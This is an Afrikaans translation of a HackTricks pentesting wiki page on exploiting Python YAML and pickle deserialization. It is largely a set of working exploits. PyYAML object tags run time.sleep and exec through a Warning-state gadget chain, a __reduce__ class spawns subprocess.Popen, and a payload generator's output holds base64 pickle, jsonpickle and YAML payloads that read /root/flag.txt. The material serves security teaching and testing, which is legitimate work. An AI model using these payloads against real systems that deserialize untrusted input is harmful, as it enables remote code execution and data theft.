hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md
2024-02-11 02:07:06 +00:00

7.6 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Yaml Deserialisering

Yaml-pythonbiblioteke is ook in staat om nie net rou data nie, maar ook python-voorwerpe te serialiseer:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Kyk hoe is die tuple nie 'n rou tipe data nie en daarom is dit geserializeer. En dieselfde het gebeur met die range (geneem van die builtins).

safe_load() of safe_load_all() gebruik SafeLoader en ondersteun nie die deserialisering van klasvoorwerpe nie. Voorbeeld van klasvoorwerpdeserialisering:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Die vorige kode het unsafe_load gebruik om die geserializeerde Python-klas te laai. Dit is omdat in weergawe >= 5.1 dit nie toelaat om enige geserializeerde Python-klas of klasatribuut te deserialiseer nie, met Loader nie gespesifiseer in load() of Loader=SafeLoader nie.

Basiese Uitbuiting

Voorbeeld van hoe om 'n slaap uit te voer:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Kwesbare .load("<inhoud>") sonder Loader

Ou weergawes van pyyaml was kwesbaar vir deserialisasie-aanvalle as jy nie die Loader gespesifiseer het nie wanneer jy iets laai: yaml.load(data)

Jy kan die beskrywing van die kwesbaarheid hier vind. Die voorgestelde uitbuiting op daardie bladsy is:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Of jy kan ook hierdie een-liner gebruik wat deur @ishaack voorsien is:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Let wel dat in onlangse weergawes jy nie meer .load() kan roep sonder 'n Loader nie en die FullLoader is nie meer vatbaar vir hierdie aanval nie.

RCE

Aangepaste vragte kan geskep word met behulp van Python YAML-modules soos PyYAML of ruamel.yaml. Hierdie vragte kan kwesbaarhede in stelsels uitbuit wat onbetroubare insette deserialiseer sonder behoorlike sanitasie.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Hulpmiddel om Vragte te Skep

Die hulpmiddel https://github.com/j0lt-github/python-deserialization-attack-payload-generator kan gebruik word om Python deserialisering vragte te genereer om Pickle, PyYAML, jsonpickle en ruamel.yaml te misbruik:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: